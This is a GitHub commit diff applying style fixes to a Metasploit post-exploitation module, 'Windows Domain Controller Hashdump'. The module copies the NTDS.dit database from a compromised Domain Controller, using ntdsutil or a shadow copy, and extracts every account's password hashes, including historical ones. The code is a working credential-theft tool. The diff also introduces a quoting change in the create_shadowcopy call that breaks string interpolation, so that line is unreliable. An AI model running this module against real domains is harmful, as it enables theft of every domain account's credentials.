Skip to content

Commit 83c228f

Browse files
committed
Make rubocop less mad
1 parent 33a07be commit 83c228f

File tree

1 file changed

+36
-32
lines changed

1 file changed

+36
-32
lines changed

modules/post/windows/gather/credentials/domain_hashdump.rb

Lines changed: 36 additions & 32 deletions
Original file line numberDiff line numberDiff line change
@@ -14,23 +14,28 @@ class MetasploitModule < Msf::Post
1414
include Msf::Post::File
1515
include Msf::Post::Windows::ExtAPI
1616

17-
def initialize(info={})
18-
super(update_info(info,
19-
'Name' => 'Windows Domain Controller Hashdump',
20-
'Description' => %q{
17+
def initialize(info = {})
18+
super(
19+
update_info(
20+
info,
21+
'Name' => 'Windows Domain Controller Hashdump',
22+
'Description' => %q(
2123
This module attempts to copy the NTDS.dit database from a live Domain Controller
2224
and then parse out all of the User Accounts. It saves all of the captured password
2325
hashes, including historical ones.
24-
},
25-
'License' => MSF_LICENSE,
26-
'Author' => ['theLightCosine'],
27-
'Platform' => [ 'win' ],
28-
'SessionTypes' => [ 'meterpreter' ]
29-
))
30-
deregister_options('SMBUser','SMBPass', 'SMBDomain')
26+
),
27+
'License' => MSF_LICENSE,
28+
'Author' => ['theLightCosine'],
29+
'Platform' => [ 'win' ],
30+
'SessionTypes' => [ 'meterpreter' ]
31+
)
32+
)
33+
deregister_options('SMBUser', 'SMBPass', 'SMBDomain')
3134
register_options(
32-
[OptBool.new('CLEANUP',
33-
[ true, 'Automatically delete ntds backup created', true])])
35+
[OptBool.new(
36+
'CLEANUP', [ true, 'Automatically delete ntds backup created', true]
37+
)]
38+
)
3439
end
3540

3641
def run
@@ -59,7 +64,7 @@ def run
5964
ad_account.nt_history.each_with_index do |nt_hash, index|
6065
hash_string = ad_account.lm_history[index] || Metasploit::Credential::NTLMHash::BLANK_LM_HASH
6166
hash_string << ":#{nt_hash}"
62-
report_hash(hash_string.downcase,ad_account.name, realm)
67+
report_hash(hash_string.downcase, ad_account.name, realm)
6368
end
6469
end
6570
end
@@ -76,19 +81,19 @@ def run
7681
def copy_database_file
7782
database_file_path = nil
7883
case sysinfo["OS"]
79-
when /2003| \.NET/
80-
print_status "Using Volume Shadow Copy Method"
81-
database_file_path = vss_method
82-
when /2008|2012|2016/
83-
print_status "Using NTDSUTIL method"
84-
database_file_path = ntdsutil_method
85-
else
86-
print_error "This version of Windows is unsupported"
84+
when /2003| \.NET/
85+
print_status "Using Volume Shadow Copy Method"
86+
database_file_path = vss_method
87+
when /2008|2012|2016/
88+
print_status "Using NTDSUTIL method"
89+
database_file_path = ntdsutil_method
90+
else
91+
print_error "This version of Windows is unsupported"
8792
end
8893
database_file_path
8994
end
9095

91-
def is_domain_controller?
96+
def domain_controller?
9297
if ntds_location
9398
file_exist?("#{ntds_location}\\ntds.dit")
9499
else
@@ -97,13 +102,13 @@ def is_domain_controller?
97102
end
98103

99104
def ntds_location
100-
@ntds_location ||= registry_getvaldata("HKLM\\SYSTEM\\CurrentControlSet\\services\\NTDS\\Parameters\\","DSA Working Directory")
105+
@ntds_location ||= registry_getvaldata("HKLM\\SYSTEM\\CurrentControlSet\\services\\NTDS\\Parameters\\", "DSA Working Directory")
101106
end
102107

103108
def ntdsutil_method
104-
tmp_path = "#{get_env("%WINDIR%")}\\Temp\\#{Rex::Text.rand_text_alpha((rand(8)+6))}"
109+
tmp_path = "#{get_env('%WINDIR%')}\\Temp\\#{Rex::Text.rand_text_alpha((rand(8) + 6))}"
105110
command_arguments = "\"activate instance ntds\" \"ifm\" \"Create Full #{tmp_path}\" quit quit"
106-
result = cmd_exec("ntdsutil.exe", command_arguments,90)
111+
result = cmd_exec("ntdsutil.exe", command_arguments, 90)
107112
if result.include? "IFM media created successfully"
108113
file_path = "#{tmp_path}\\Active Directory\\ntds.dit"
109114
print_status "NTDS database copied to #{file_path}"
@@ -115,15 +120,14 @@ def ntdsutil_method
115120
file_path
116121
end
117122

118-
119123
def preconditions_met?
120124
if is_admin?
121125
print_status "Session has Admin privs"
122126
else
123127
print_error "This module requires Admin privs to run"
124128
return false
125129
end
126-
if is_domain_controller?
130+
if domain_controller?
127131
print_status "Session is on a Domain Controller"
128132
else
129133
print_error "This does not appear to be an AD Domain Controller"
@@ -136,7 +140,7 @@ def preconditions_met?
136140
return true
137141
end
138142

139-
def repair_ntds(path='')
143+
def repair_ntds(path = '')
140144
arguments = "/p /o \"#{path}\""
141145
cmd_exec("esentutl", arguments)
142146
end
@@ -171,12 +175,12 @@ def vss_method
171175
fail_with(Failure::NoAccess, "Unable to start VSS service")
172176
end
173177
location = ntds_location.dup
174-
volume = location.slice!(0,3)
175-
id = create_shadowcopy("#{volume}")
178+
volume = location.slice!(0, 3)
179+
id = create_shadowcopy('#{volume}')
176180
print_status "Getting Details of ShadowCopy #{id}"
177181
sc_details = get_sc_details(id)
178182
sc_path = "#{sc_details['DeviceObject']}\\#{location}\\ntds.dit"
179-
target_path = "#{get_env("%WINDIR%")}\\Temp\\#{Rex::Text.rand_text_alpha((rand(8)+6))}"
183+
target_path = "#{get_env('%WINDIR%')}\\Temp\\#{Rex::Text.rand_text_alpha((rand(8) + 6))}"
180184
print_status "Moving ntds.dit to #{target_path}"
181185
move_file(sc_path, target_path)
182186
target_path

0 commit comments

Comments
 (0)